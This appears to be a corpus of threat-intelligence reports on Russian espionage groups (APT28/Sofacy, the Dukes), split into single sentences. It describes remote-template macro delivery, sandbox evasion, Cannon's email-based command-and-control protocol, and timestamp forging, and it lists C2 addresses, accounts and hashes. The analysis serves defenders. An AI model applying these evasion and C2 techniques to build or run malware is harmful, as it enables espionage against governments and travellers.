To spread through the hospitality company ’s network , APT28 used a version of the EternalBlue SMB exploit .
This was combined with the heavy use of py2exe to compile Python scripts .
This is the first time we have seen APT28 incorporate this exploit into their intrusions .
In the 2016 incident , the victim was compromised after connecting to a hotel Wi-Fi network .
Twelve hours after the victim initially connected to the publicly available Wi-Fi network , APT28 logged into the machine with stolen credentials .
These 12 hours could have been used to crack a hashed password offline .
After successfully accessing the machine , the attacker deployed tools on the machine , spread laterally through the victim's network , and accessed the victim's OWA account .
The login originated from a computer on the same subnet , indicating that the attacker machine was physically close to the victim and on the same Wi-Fi network .
We cannot confirm how the initial credentials were stolen in the 2016 incident ; however , later in the intrusion , Responder was deployed .
Since this tool allows an attacker to sniff passwords from network traffic , it could have been used on the hotel Wi-Fi network to obtain a user ’s credentials .
Cyber espionage activity against the hospitality industry is typically focused on collecting information on or from hotel guests of interest rather than on the hotel industry itself , though actors may also collect information on the hotel as a means of facilitating operations .
Business and government personnel who are traveling , especially in a foreign country , often rely on systems to conduct business other than those at their home office , and may be unfamiliar with threats posed while abroad .
APT28 isn’t the only group targeting travelers .
South Korea nexus Fallout Team ( aka Darkhotel ) has used spoofed software updates on infected Wi-Fi networks in Asian hotels , and Duqu 2.0 malware has been found on the networks of European hotels used by participants in the Iranian nuclear negotiations .
Additionally , open sources have reported for several years that in Russia and China , high-profile hotel guests may expect their hotel rooms to be accessed and their laptops and other electronic devices accessed .
These incidents show a novel infection vector being used by APT28 .
The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges .
APT28 ’s already wide-ranging capabilities and tactics are continuing to grow and refine as the group expands its infection vectors .
Travelers must be aware of the threats posed when traveling – especially to foreign countries – and take extra precautions to secure their systems and data .
Publicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible .
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Sofacy Continues Global Attacks and Wheels Out New Cannon Trojan .
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Sofacy Continues Global Attacks and Wheels Out New Cannon Trojan .
Release_Time : 2018-11-20Report_URL : https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/In late October and early November 2018 , Unit 42 intercepted a series of weaponized documents that use a technique to load remote templates containing a malicious macro .
These types of weaponized documents are not uncommon but are more difficult to identify as malicious by automated analysis systems due to their modular nature .
Specific to this technique , if the C2 server is not available at the time of execution , the malicious code cannot be retrieved , rendering the delivery document largely benign .
The weaponized documents targeted several government entities around the globe , including North America , Europe , and a former USSR state .
Fortunately for us , the C2 servers for several of these documents were still operational allowing for retrieval of the malicious macro and the subsequent payloads .
Analysis revealed a consistent first-stage payload of the well-documented Zebrocy Trojan .
Additional collection of related documents revealed a second first-stage payload that we have named ‘ Cannon ’ .
Cannon has not been previously observed in use by the Sofacy group and contains a novel email-based C2 communication channel .
email as a C2 channel is not a new tactic , but it is generally not observed in the wild as often as HTTP or HTTPS .
Using email as a C2 channel may also decrease the chance of detection , as sending email via non-sanctioned email providers may not necessarily construe suspicious or even malicious activity in many enterprises .
The activity discussed in this blog revolves around two of the multitude of weaponized documents that we collected .
These two documents shared multiple data artifacts , such as a shared C2 IP , shared author name , and shared tactics .
Details of the extended attack campaign associated with the Cannon Trojan will be discussed in a later blog .
A particularly interesting aspect of one of the two documents we analyzed was the filename used , crash list ( Lion Air Boeing 737 ).docx .
This is not the first instance of an adversary group using recent current events as a lure , but it is interesting to see this group attempt to capitalize on the attention of a catastrophic event to execute their attack .
The initial sample we intercepted was a Microsoft Word document ( SHA256 : 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f ) with the filename crash list ( Lion Air Boeing 737 ).docx using the author name Joohn .
This document appeared to be targeting a government organization dealing with foreign affairs in Europe via spear-phishing .
Once the user attempts to open the document , Microsoft Word immediately attempts to load the remote template containing a malicious macro and payload from the location specified within the settings.xml.rels file of the DOCX document .
If the C2 has already been taken offline the document will still open , but Word will be unable to retrieve the remote template and thus Word will not load a macro .
In this situation , Word will present the same lure document to the victim as seen in Figure 2 , but without the ability to enable macros via an Enable Content button .
Assuming the C2 is still operational however , Word loads the remote template ( SHA256 : f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5 ) and the user is presented with the screen .
Once the victim presses the Enable content button , the embedded macro is executed .
The macros used for these delivery documents use a less common method of using the AutoClose function .
This is a form of anti-analysis as Word will not fully execute the malicious code until the user closes the document .
If an automated sandbox exits its analysis session without specifically closing out the document , the sandbox may miss the malicious activity entirely .
Once successfully executed , the macro will install a payload and save a document to the system .
Typically , we expect to see a decoy document saved to the system and later displayed to make the victim less suspicious of malicious activity ; however , in this case the document saved to the system was never displayed and does not contain any pertinent content to the Lion Air tragedy theme seen in the filename .
The macro obtains the document saved to the system from within the document stored as UserForm1.Label1.Caption and will write it to : %TEMP%\~temp.docm .
The macro obtains the payload saved to the system from within the document stored as UserForm1.Label2.Caption and will write it to : %APPDATA%\MSDN\~msdn.exe .
The macro executes this payload in a rather interesting way by loading the dropped ~temp.docm document and calling a function within its embedded macro to run the payload .
We believe the creator of this delivery document chose to run the payload from the dropped file as an evasion technique .
Also , the fact the initial macro uses this dropped document for the execution of the payload may also explain why the document did not contain any decoy contents .
To carry out this functionality , after writing the~temp.docm and ~msdn.exe files to the system , the initial macro will load the ~temp.docm file as a Word Document object and attempts to run the function Proc1 in the Module1 macro within the ~temp.docm file .
The Proc1 function within the Module1 does nothing more than build the %APPDATA%\MSDN\~msdn.exe path to the dropped payload and executes it using the built-in Shell function .
The payload dropped to the system ( SHA256 : 6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a ) is a UPX packed Zebrocy variant written in the Delphi language .
This variant of Zebrocy is functionally very similar to the Delphi based payloads discussed in our previous publication on Sofacy attacks using Zebrocy earlier this year .
The developer of this particular payload configured it to use the following URL to communicate with as its C2 :The Zebrocy Trojan gathers system specific information that it will send to the C2 server via an HTTP POST request to the above URL .
Like other Zebrocy samples , this Trojan collects system specific information it will send to the C2 server by running the command SYSTEMINFO & TASKLIST on the command line and by enumerating information about connected storage devices .
This specific variant of Zebrocy will also send a screenshot of the victim host as a JPEG image to the C2 server .
The C2 server will then provide a secondary payload to the beacon in ASCII hexadecimal representation , which the Trojan will decode and write to the following location : %APPDATA%\Roaming\Audio\soundfix.exe .
During our analysis , the C2 server provided a secondary payload that functionally appeared similar to the initial Zebrocy sample .
The secondary payload was also written in Delphi and its developer configured it to communicate with its C2 server using HTTPS via the following URL : https://200.122.181.25/catalog/products/books.php .
We were able to collect a second delivery document that shared the Joohn author from the crash list ( Lion Air Boeing 737 ).docx document , as well as the 188.241.58.170 C2 IP to host its remote template .
Structurally this sample was very similar to the initially analyzed document , but the payload turned out to be a completely new tool which we have named Cannon .
The tool is written in C# whose malicious code exists in a namespace called cannon , which is the basis of the Trojan ’s name .
The Trojan functions primarily as a downloader that relies on emails to communicate between the Trojan and the C2 server .
To communicate with the C2 server , the Trojan will send emails to specific email addresses via SMTPS over TCP port 587 .
This tool also has a heavy reliance on EventHandlers with timers to run its methods in a specific order and potentially increase its evasion capability .
The overall purpose of Cannon is to use several email accounts to send system data ( system information and screenshot ) to the threat actors and to ultimately obtain a payload from an email from the actors .
In addition to the following step-by-step process illustrates how Cannon communicates with the actor-controlled C2 email address to obtain a secondary payload .
Cannon gathers system information and saves it to a file named ini .
The Trojan sends an email to sahro.bella7@post.cz with i.ini as the attachment , S_inf within the body and a subject with a unique system identifier via SMTPS from one of the following accounts : Bishtr.cam47 , Lobrek.chizh , Cervot.woprov .
Cannon takes a screenshot and saves it to a file named ops .
The Trojan sends an email to sahro.bella7@post.cz with sysscr.ops as the attachment , the string SCreen within the body and a subject with the unique system identifier via SMTPS from one of three previously used accounts .
The actors likely log into sahro.bella7@post.cz and process the system information and screenshot sent by the Trojan to determine if the compromised host is of interest .
If the actor wishes to download an additional payload to the compromised host , they will respond by sending emails in the following steps .
The actor sends an email to trala.cosh2@post.cz with the unique system identifier as a subject with a secondary email account and credentials in ASCII hexadecimal format within the message body .
This secondary email account is unknown at this time , so we will refer to it as “ secondary email account ” in future steps .
The actor sends an email to the secondary email account with the unique system identifier as a subject with a secondary payload attached with a filename of txt .
Cannon logs into the trala.cosh2@post.cz account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the secondary email account .
Cannon acknowledges the receipt of the secondary email address by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
The actor sends an email to trala.cosh2@post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload .
Cannon logs into the secondary email account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and saves the attachment named auddevc.txt .
Cannon acknowledges the receipt of file download by sending an email to sahro.bella7@post.cz with l.txt ( contains 090 string ) as the attachment , ok2 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon logs into the trala.cosh2@post.cz account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the file path that it will use to move the downloaded auddevc.txt file .
Cannon acknowledges the receipt of file path by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok3 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon moves the downloaded file to the specified path .
Cannon acknowledges the successful move by sending an email to sahro.bella7@post.cz with l.txt ( contains 090 string ) as the attachment , ok4 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon runs the downloaded file from the specified path .
Cannon acknowledges the successful execution by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok5 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
In these attacks , the delivery documents used to install Zebrocy used remote templates , which increases the difficulty to analyze the attack as an active C2 server is needed to obtain the macro-enabled document .
The Sofacy group also leveraged the recent Lion Air disaster as a lure in one of these attacks , which continues to show a willingness to use current events in their social engineering themes .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Cannon uses SMTPS and POP3S as its C2 channel compared to Zebrocy that uses a more commonly observed HTTP or HTTPS based C2 .
This is not a new tactic but may be more effective at evading detection as the external hosts involved are a legitimate email service provider .
Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block While Sofacy ’s campaign delivering Zebrocy and Cannon remains active , Palo Alto Networks customers are protected from this threat in the following ways :AutoFocus customers can track these samples with the Zebrocy and Cannon WildFire detects the delivery documents , Zebrocy and Cannon payloads discussed in this blog with malicious verdicts .
Traps blocks the macro-ladened remote templates as Suspicious macro detected , as well as Zebrocy and Cannon payloads as Suspicious executable detected .
The IP addresses hosting remote templates and C2 services in these attacks are classified as Command and Control .
Delivery Hashes :2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392 .
Remote Template Hashes :f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5 fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d .
Remote Templates :Zebrocy Hashes :Zebrocy C2 URLs :http://188.241.58.170/local/s3/filters.php https://200.122.181.25/catalog/products/books.php .
Cannon Hashes :Cannon email Accounts :sahro.bella7@post.cz trala.cosh2@post.cz bishtr.cam47@post.cz lobrek.chizh@post.cz cervot.woprov@post.cz .
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THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
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THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes primarily target Western governments and related organizations , such as government ministries and agencies , political think tanks , and governmental subcontractors .
Their targets have also included the governments of members of the Commonwealth of Independent States ; Asian , African , and Middle Eastern governments ; organizations associated with Chechen extremism ; and Russian speakers engaged in the illicit trade of controlled substances and drugs .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
In recent years , the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations .
The earliest activity we have been able to definitively attribute to the Dukes are two PinchDuke campaigns from November 2008 .
These campaigns use PinchDuke samples that were , according to their compilation timestamps , created on the 5th and 12th of November 2008 .
The campaign identifiers found in these two samples are respectively , “ alkavkaz.com20081105 ” and “ cihaderi.net20081112 ” .
The first campaign identifier , found in the sample compiled on the 5th , references alkavkaz.com , a domain associated with a Turkish website proclaiming to be the “ Chechan [sic] Informational Center ” .
The second campaign identifier , from the sample compiled on the 12th , references cihaderi.net , another Turkish website that claims to provide “ news from the jihad world ” and which dedicates a section of its site to Chechnya .
Due to a lack of other PinchDuke samples from 2008 or earlier , we are unable to estimate when the Duke operation originally began .
Based on our technical analysis of the known PinchDuke samples from 2008 however , we believe PinchDuke to have been under development by the summer of 2008 .
In fact , we believe that by the autumn of 2008 , the Dukes were already developing not one but at least two distinct malware toolsets .
This assertion is based on the oldest currently known sample of another Duke related toolset , GeminiDuke , which was compiled on the 26th of January 2009 .
This sample , like the early PinchDuke samples , appears to already be a “ fully-grown ” sample , which is why we believe GeminiDuke was under development by the autumn of 2008 .
That the Dukes were already developing and operating at least two distinct malware toolsets by the second half of 2008 suggests to us that either the size of their cyberespionage operation was already large enough to warrant such an arsenal of tools , or that they expected their operation to grow significantly enough in the foreseeable future to warrant the development of such an arsenal .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term “ MiniDuke ” to identify the first Duke related malware they found .
As explained in their whitepaper , the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke ; the “ Duke ” part of this malware ’s name had in turn come about because it reminded the researchers of the notable Duqu threat .
Despite the shared history of the name itself however , it is important to note that there is no reason to believe that the Duke toolsets themselves are in any way related to the ItaDuke malware , or to Duqu for that matter .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , the new toolsets were also given “ Duke ” -derived names , and thus the threat actor operating the toolsets started to be commonly referred to as “ the Dukes ” .
The only other publicly used name for the threat actor that we are aware of is “ APT29 ” .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Campaign identifiers from 2009 also reveal that by that time , the Dukes were already actively interested in political matters related to the United States ( US ) and the North Atlantic Treaty Organization ( NATO ) , as they ran campaigns targeting ( among other organizations ) a US based foreign policy think tank , another set of campaigns related to a NATO exercise held in Europe , and a third set apparently targeting what was then known as the Georgian “ Information Centre on NATO ” .
Of these campaigns , two clusters in particular stand out .
The first is a set of campaigns from the 16th and 17th of April , 2009 , that targeted a US based foreign policy think tank , as well as government institutions in Poland and the Czech Republic .
These campaigns utilized specially-crafted malicious Microsoft Word documents and PDF files , which were sent as e-mail attachments to various personnel in an attempt to infiltrate the targeted organizations .
We believe this cluster of campaigns had a joint goal of gathering intelligence on the sentiments of the targeted 5 countries with respect to the plans being discussed at the time for the US to locate their “ European Interceptor Site ” missile defense base in Poland , with a related radar station that was intended to be located in the Czech Republic .
Regarding the timing of these campaigns , it is curious to note that they began only 11 days after President Barack Obama gave a speech on the 5th of April declaring his intention to proceed with the deployment of these missile defenses .
The second notable cluster comprises of two campaigns that were possibly aimed at gathering information onThe first of these runs used the campaign identifier “ natoinfo_ge ” , an apparent reference to the www.natoinfo.ge website belonging to a Georgian political body that has since been renamed “ Information Centre on NATO and EU ” .
Although the campaign identifier itself doesn’t contain a date , we believe the campaign to have originated around the 7th of June 2009 , which was when the PinchDuke sample in question was compiled .
This belief is based on the observation that in all of the other PinchDuke samples we have analyzed , the date of the campaign identifier has been within a day of the compilation date .
The second campaign identifier , which we suspect may be related , is “ mod_ge_2009_07_03 ” from a month later and apparently targeting the Ministry of Defense of Georgia .
The spring of 2010 saw continued PinchDuke campaigns against Turkey and Georgia , but also numerous campaigns against other members of the Commonwealth of Independent States such as Kazakhstan , Kyrgyzstan , Azerbaijan and Uzbekistan .
Of these , the campaign with the identifier “ kaz_2010_07_30 ” , which possibly targeted Kazakhstan , is of note because it is the last PinchDuke campaign we have observed .
We believe that during the first half of 2010 , the Dukes slowly migrated from PinchDuke and started using a new infostealer malware toolset that we call CosmicDuke .
The first known sample of the CosmicDuke toolset was compiled on the 16th of January 2010 .
Back then , CosmicDuke still lacked most of the credential-stealing functionality found in later samples .
We believe that during the spring of 2010 , the credential and file stealing capabilities of PinchDuke were slowly ported to CosmicDuke , effectively making PinchDuke obsolete .
During this period of transition , CosmicDuke would often embed PinchDuke so that , upon execution , CosmicDuke would write to disk and execute PinchDuke .
Both PinchDuke and CosmicDuke would then operate independently on the same compromised host , including performing separate information gathering , data Exfiltration and communication with a command and control ( C&C ) server - although both malware would often use the same C&C server .
We believe the purpose of this parallel use was to ‘ fieldtest ’ the new CosmicDuke tool , while at the same time ensuring operational success with the tried-and-tested PinchDuke .
During this period of CosmicDuke testing and development , the Duke authors also started experimenting with the use of privilege escalation vulnerabilities .
Specifically , on the 19th of January 2010 security researcher Tavis Ormandy disclosed a local privilege escalation vulnerability ( CVE-2010-0232 ) affecting Microsoft Windows .
As part of the disclosure , Ormandy also included the source code for a proof-of- concept exploit for the vulnerability .
Just 7 days later , on the 26th of January , a component for CosmicDuke was compiled that exploited the vulnerability and allowed the tool to operate with higher privileges .
During 2011 , the Dukes appear to have significantly expanded both their arsenal of malware toolsets and their C&C infrastructure .
While the Dukes employed both hacked websites and purposely rented servers for their C&C infrastructure , the group rarely registered their own domain names , preferring instead to connect to their self- operated servers via IP addresses .
The beginning of 2011 however saw a significant break from that routine , when a large grouping of domain names was registered by the Dukes in two batches ; the first batch was registered on the 29th of January and the second on the 13th of February .
All the domains in both batches were initially registered with the same alias : “ John Kasai of Klagenfurt , Austria ” .
These domains were used by the Dukes in campaigns involving many of their different malware toolsets all the way until 2014 .
Like the “ MiniDuke loader ” , these “ John Kasai ” domains also provide a common thread tying together much of the tools and infrastructure of the Dukes .
By 2011 , the Dukes had already developed at least 3 distinct malware toolsets , including a plethora of supporting components such as loaders and persistence modules .
In fact , as a sign of their arsenal ’s breadth , they had already decided to retire one of these malware toolsets as obsolete after developing a replacement for it , seemingly from scratch .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
While all of the earlier toolsets – GeminiDuke , PinchDuke , and CosmicDuke – were designed around a core infostealer component , MiniDuke is centered on a simplistic backdoor component whose purpose is to enable the remote execution of commands on the compromised system .
The first observed samples of the MiniDuke backdoor component are from May 2011 .
This backdoor component however is technically very closely related to GeminiDuke , to the extent that we believe them to share parts of their source code .
The origins of MiniDuke can thus be traced back to the origins of GeminiDuke , of which the earliest observed sample was compiled in January of 2009 .
Unlike the simplistic MiniDuke toolset , CozyDuke is a highly versatile , modular , malware “ platform ” whose functionality lies not in a single core component but in an array of modules that it may be instructed to download from its C&C server .
These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand .
CozyDuke ’s modular platform approach is a clear break from the designs of the previous Duke toolsets .
The stylistic differences between CozyDuke and its older siblings are further exemplified by the way it was coded .
All of the 4 previously mentioned toolsets were written in a minimalistic style commonly seen with malware ; MiniDuke even goes as far as having many components written in Assembly language .
CozyDuke however represents the complete opposite .
Instead of being written in Assembly or C , it was written in C++ , which provides added layers of abstraction for the developer ’s perusal , at the cost of added complexity .
Contrary to what might be expected from malware , early CozyDuke versions also lacked any attempt at obfuscating or hiding their true nature .
In fact , they were extremely open and verbose about their functionality - for example , early samples contained a plethora of logging messages in unencrypted form .
In comparison , even the earliest known GeminiDuke samples encrypted any strings that might have given away the malware ’s true nature .
Finally , early CozyDuke versions also featured other elements that one would associate more with a traditional software development project than with malware .
For instance , the earliest known CozyDuke version utilized a feature of the Microsoft Visual C++ compiler known as run-time error checking .
This feature added automatic error checking to critical parts of the program ’s execution at the cost , from a malware perspective , of providing additional hints that make the malware ’s functionality easier for reverse engineers to understand .
Based on these and other similar stylistic differences observed between CozyDuke and its older siblings , we speculate that while the older Duke families appear to be the work of someone with a background in malware writing ( or at the least in hacking ) , CozyDuke ’s author or authors more likely came from a software development background .
We still know surprisingly few specifics about the Dukes group ’s activities during 2012 .
Based on samples of Duke malware from 2012 , the Dukes do appear to have continued actively using and developing all of their tools .
Of these , CosmicDuke and MiniDuke appear to have been in more active use , while receiving only minor updates .
GeminiDuke and CozyDuke on the other hand appear to have been less used in actual operations , but did undergo much more significant development .
On the 12th of February 2013 , FireEye published a blogpost alerting readers to a combination of new Adobe Reader 0-day vulnerabilities , CVE-2013-0640 and CVE-2013-0641 , that were being actively exploited in the wild .
8 days after FireEye ’s initial alert , Kaspersky spotted the same exploit being used to spread an entirely different malware family from the one mentioned in the original report .
On 27th February , Kaspersky and CrySyS Lab published research on this previously unidentified malware family , dubbing it MiniDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Their malware had not stayed undetected for those 4 and a half years .
In fact , in 2009 a PinchDuke sample had been included in the malware set used by the AV-Test security product testing organization to perform anti-virus product comparison reviews .
Until 2013 however , earlier Duke toolsets had not been put in a proper context .
That finally started to change in 2013 .
The MiniDuke samples that were spread using these exploits were compiled on the 20th of February , after the exploit was already publicly known .
One might argue that since this took place after the exploits were publicly mentioned , the Dukes simply copied them .
We however do not believe so .
As mentioned by Kaspersky , even though the exploits used for these MiniDuke campaigns were near-identical to those described by FireEye , there were nevertheless small differences .
Of these , the crucial one is the presence of PDB strings in the MiniDuke exploits .
These strings , which are generated by the compiler when using specific compilation settings , means that the components of the exploits used with MiniDuke had to have been compiled independently from those described by FireEye .
We do not know whether the Dukes compiled the components themselves or whether someone else compiled the components before handing them to the group .
This does however still rule out the possibility that the Dukes simply obtained copies of the exploit binaries described by FireEye and repurposed them .
In our opinion , this insistence on using exploits that are already under heightened scrutiny suggests the existence of at least one of three circumstances .
Firstly , the Dukes may have been confident enough in their own abilities ( and in the slowness of their opponents to react to new threats ) that they did not care if their targets may already be on the lookout for anyone exploiting these vulnerabilities .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
Or thirdly , the Dukes may have invested so much into these campaigns that by the time FireEye published their alert , the Dukes felt they could not afford to halt the campaigns .
We believe all three circumstances to have coexisted at least to some extent .
As will become evident in this report , this was not a one-off case but a recurring theme with the Dukes , in that they would rather continue with their operations as planned than retreat from operating under the spotlight .
As originally detailed in Kaspersky ’s whitepaper , the MiniDuke campaigns from February 2013 employed spear-phishing emails with malicious PDF file attachments .
These PDFs would attempt to silently infect the recipient with MiniDuke , while distracting them by displaying a decoy document .
The headings of these documents included “ Ukraine ’s NATO Membership Action Plan ( MAP ) Debates ” , “ The Informal Asia-Europe Meeting ( ASEM ) Seminar on Human Rights ” , and “ Ukraine ’s Search for a Regional Foreign Policy ” .
The targets of these campaigns , according to Kaspersky , were located variously in Belgium , Hungary , Luxembourg and Spain .
Kaspersky goes on to state that by obtaining log files from the MiniDuke command and control servers , they were able to identify high-profile victims from Ukraine , Belgium , Portugal , Romania , the Czech Republic , Ireland , the United States and Hungary .
After the February campaigns , MiniDuke activity appeared to quiet down , although it did not fully stop , for the rest of 2013 .
The Dukes group as a whole however showed no sign of slowing down .
In fact , we saw yet another Duke malware toolset , OnionDuke , appear first in 2013 .
Like CozyDuke , OnionDuke appears to have been designed with versatility in mind , and takes a similarly modular platform approach .
The OnionDuke toolset includes various modules for purposes such as password stealing , information gathering , denial of service ( DoS ) attacks , and even posting spam to the Russian social media network , VKontakte .
The OnionDuke toolset also includes a dropper , an information stealer variant and multiple distinct versions of the core component that is responsible for interacting with the various modules .
What makes OnionDuke especially curious is an infection vector it began using during the summer of 2013 .
To spread the toolset , the Dukes used a wrapper to combine OnionDuke with legitimate applications , created torrent files containing these trojanized applications , then uploaded them to websites hosting torrent files .
Victims who used the torrent files to download the applications would end up getting infected with OnionDuke .
For most of the OnionDuke components we observed , the first versions that we are aware of were compiled during the summer of 2013 , suggesting that this was a period of active development around this toolset .
Critically however , the first sample of the OnionDuke dropper , which we have observed being used only with components of this toolset , was compiled on the 17th of February 2013 .
This is significant because it suggests that OnionDuke was under development before any part of the Duke operation became public .
OnionDuke ’s development therefore could not have been simply a response to the outing of one of the other Duke malware , but was instead intended for use alongside the other toolsets .
This indication that the Dukes planned to use an arsenal of 5 malware toolsets in parallel suggests that they were operating with both significant resources and capacity .
In 2013 , many of the decoy documents employed by the Dukes in their campaigns were related to Ukraine ; examples include a letter undersigned by the First Deputy Minister for Foreign Affairs of Ukraine , a letter from the embassy of the Netherlands in Ukraine to the Ukrainian Ministry of Foreign affairs and a document titled “ Ukraine ’s Search for a Regional Foreign Policy ” .
These decoy documents however were written before the start of the November 2013 Euromaidan protests in Ukraine and the subsequent upheaval .
It is therefore important to note that , contrary to what might be assumed , we have actually observed a drop instead of an increase in Ukraine related campaigns from the Dukes following the country ’s political crisis .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
This supports our analysis that the overarching theme in the Dukes ’ targeting is the collection of intelligence to support diplomatic efforts .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same way .
In a surprising turn of events , in September 2013 a CosmicDuke campaign was observed targeting Russian speakers involved in the trade of illegal and controlled substances .
Kaspersky Labs , who sometimes refer to CosmicDuke as ‘ Bot Gen Studio ’ , speculated that “ one possibility is that ‘ Bot Gen Studio ’ is a malware platform also available as a so-called ‘ legal spyware ’ tool ” ;therefore , those using CosmicDuke to target drug dealers and those targeting governments are two separate entities .
We however feel it is unlikely that the CosmicDuke operators targeting drug dealers and those targeting governments could be two entirely independent entities .
A shared supplier of malware would explain the overlap in tools , but it would not explain the significant overlap we have also observed in operational techniques related to command and control infrastructure .
Instead , we feel the targeting of drug dealers was a new task for a subset of the Dukes group , possibly due to the drug trade ’s relevance to security policy issues .
We also believe the tasking to have been temporary , because we have not observed any further similar targeting from the Dukes after the spring of 2014 .
While MiniDuke activity decreased significantly during the rest of 2013 following the attention it garnered from researchers , the beginning of 2014 saw the toolset back in full force .
All MiniDuke components , from the loader and downloader to the backdoor , had been slightly updated and modified during the downtime .
Interestingly , the nature of these modifications suggests that their primary purpose was to regain the element of stealth and undetectability that had been lost almost a year earlier .
Of these modifications , arguably the most important were the ones done to the loader .
These resulted in a loader version that would later become known as the “ Nemesis Gemina loader ” due to PDB strings found in many of the samples .
It is however still only an iteration on earlier versions of the MiniDuke loader .
The first observed samples of the Nemesis Gemina loader ( compiled on 14th December 2013 ) were used to load the updated MiniDuke backdoor , but by the spring of 2014 the Nemesis Gemina loader was also observed in use with CosmicDuke .
Following the MiniDuke expose , CosmicDuke in turn got its moment of fame when F-Secure published a whitepaper about it on 2nd July 2014 .
The next day , Kaspersky also published their own research on the malware .
It should be noted that until this point , even though CosmicDuke had been in active use for over 4 years , and had undergone minor modifications and updates during that time , even the most recent CosmicDuke samples would often embed persistence components that date back to 2012 .
These samples would also contain artefacts of functionality from the earliest CosmicDuke samples from 2010 .
It is therefore valuable to observe how the Dukes reacted to CosmicDuke ’s outing at the beginning of July .
By the end of that month , CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past .
Similarly , some of the hardcoded values that had remained unaltered in CosmicDuke samples for many years had been changed .
We believe these edits were an attempt at evading detection by modifying or removing parts of the toolset that the authors believed might be helpful in identifying and detecting it .
Concurrently with the alterations to CosmicDuke , the Dukes were also hard at work modifying their trusted loader .
Much like the CosmicDuke toolset , the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update ( the Nemesis Gemina upgrade ) since the first known samples from 2010 .
Again , much of the modification work focused on removing redundant code in an attempt to appear different from earlier versions of the loader .
Interestingly however , another apparent evasion trick was also attempted - forging of the loaders ’ compilation timestamps .
The first CosmicDuke sample we observed after the initial research on CosmicDuke was a sample compiled on the 30th of July 2014 .
The loader used by the sample purported to have been compiled on the 25th of March 2010 .
Due to artefacts left in the loader during compilation time however , we know that it used a specific version of the Boost library , 1.54.0 , that was only published on the 1st of July 2013 .
The compilation timestamp therefore had to have been faked .
F-Secure ’s whitepaper on CosmicDuke includes a timeline of the loader ’s usage , based on compilation timestamps .
Perhaps the Dukes group thought that by faking a timestamp from before the earliest one cited in the whitepaper , they might be able to confuse researchers .
During the rest of 2014 and the spring of 2015 , the Dukes continued making similar evasionfocused modifications to CosmicDuke , as well as experimenting with ways to obfuscate the loader .
In the latter case however , the group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
While it is not surprising that the Dukes reacted to multiple companies publishing extensive reports on one of their key toolsets , it is valuable to note the manner in which they responded .
Much like the MiniDuke expose in February 2013 , the Dukes again appeared to prioritize continuing operations over staying hidden .
They could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
Instead , they opted for minimal downtime and attempted to continue operations , with only minor modifications to the toolset .
